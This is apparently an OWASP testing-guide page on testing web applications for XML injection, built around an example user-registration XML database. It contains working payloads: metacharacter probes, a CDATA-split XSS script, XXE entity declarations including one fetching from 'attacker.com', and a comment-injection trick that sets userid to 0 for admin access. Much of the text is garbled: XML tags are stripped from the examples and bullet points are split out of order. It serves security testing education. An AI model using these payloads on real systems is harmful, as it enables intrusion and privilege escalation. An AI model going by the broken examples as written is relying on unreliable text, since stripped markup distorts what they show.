Testing for XML Injection (OTG-INPVAL-008)

[Up]

Brief Summary
..here: we describe in "natural language" what we want to test.

Short Description of the Issue
...

Black Box testing and example
Let's suppose there is a web application using an xml style communication in order to perform users registration. This is done by creating and adding a new node on an xmlDb file. Let's suppose xmlDB file is like the following:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm '''

When a user register himself by filling an html form, the application will receive user's data in a standard request which for the sake of simplicity will be supposed to be sent as GET request.

For example the following values:

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com

Will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

to the application, which, afterwards, will build the following node:

''' 	 tony Un6R34kb!e 500 	 s4tan@hell.com '''

which will be added to the xmlDB:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com '''

Discovery
The first step in order to test an application for the presence of a XML Injection vulnerability, consists in trying to insert xml metacharacters. A list of xml metacharacters is: parsing if the injected value is going to be part of an attribute value in a tag. As an example, let's suppose there is the following attribute:
 * Single quote: '  - When not sanitized, this character could throw an exception during xml



So, if:

inputValue = foo'

is instantiated and then is inserted into attrib value:

  

The xml document will be no more well formed.

used in case attribute value is enclosed by double quotes.
 * Double quote: " - this character has the same means of double quotes and it could be

  

So if: $inputValue = foo"

the substitution will be:

 

and the xml document will be no more valid.

in a user input like the following:
 * Angular parenthesis: > and < - By adding an open or closed angular parenthesis

Username = foo<

the application wil build a new node:

'''     foo< Un6R34kb!e 500     s4tan@hell.com '''

but the presence of an open '<' will deny the validation of xml data.

end of a comment. So by injecting one of them in Username parameter:
 * Comment tag:  -  This sequence of characters is interpreted as the beginning/

 Username = foo<!-- 

the application wil build a node like the following:

'''    foo<!-- Un6R34kb!e 500    s4tan@hell.com '''

which won't be a valid xml sequence.

that is, by using an arbitrary entity like '&amp;symbol;' it is possible to map it with a character or a string which will be considered as non-xml text.
 * Ampersand: &amp; -  The ampersand is used in xml syntax to represent XML Entities.

For example:

 &amp;lt; 

is well formed and valid, and represent the '<' ASCII character.

If '&amp;' is not encoded itself with &amp;amp; it could be used to test XML injection.

Infact if a input like the following is provided:

Username = &amp;foo

a new node will be created:

''' &foo Un6R34kb!e 500 s4tan@hell.com '''

but as &amp;foo doesn't has a final ';' and moreover &foo; entity is defined nowhere so xml is not valid as well.

Often this is used when there are metacharacters inside a text node which are to be considered as text values.
 * CDATA begin/end tags: <![CDATA[ / ]]> - When CDATA tag is used, every character enclosed by it is not parsed by xml parser.

For example if there is the need to represent the string ' ' inside a text node it could be used CDATA in the following way:

'''    <![CDATA[ ]]> '''

so that ' ' won't be parsed and will be considered as a text value.

In case a node is built in the following way:

 <![CDATA[<$userName]]> 

the tester could try to inject the end CDATA sequence ']]>' in order to try to invalidate xml.

userName = ]]>

this will become:

 <![CDATA[]]>]]> 

which is not a valid xml representation.

Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag
 * External Entity: 

contents will be showed in the HTML page. Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:

''' $HTMLCode '''

it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:

''' $HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> '''

we will obtain the following node:

'''  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> '''

that in analysis phase will eliminate the DCATA tag and will insert the following value in the HTML:

alert('XSS')

In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.

Entity: It's possible to define an entity using the DTDs. Entity-name as &amp;. is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:

'''  <!DOCTYPE foo > &xxe; '''

This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars. Other tests are the following:

'''  <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]> &xxe; '''

The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.

Tag Injection
Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags.

Considering previous example, by inserting the following values::

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com 0  s4tan@hell.com

the application will build a new node and append it to the XML database:

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com 0  s4tan@hell.com '''

The resulting xml file will be well formed and it is likely that the userid tag will be cosidered with the latter value (0 = admin id). The only shortcoming is that userid tag exists two times in the last user node, and often xml file is associated with a schema or a dtd. Let's suppose now that xml structure has the following DTD:

''' <!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]> '''

to be noted that userid node is defined with cardinality 1 (userid).

So if this occurs, any simple attack won't be accomplished when xml is validated against the specified DTD.

If the tester can control some value for nodes enclosing userid tag (like in this example), by injection a comment start/end sequence like the following:

Username: tony Password: Un6R34kb!e 0  s4tan@hell.com

xml database file will be :

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 0  s4tan@hell.com '''

This way original userid tag will be commented out and the one injected will be parsed in compliance to DTD rules. The result is that user  'tony'  will be logged with userid=0 ( which could be an administrator uid)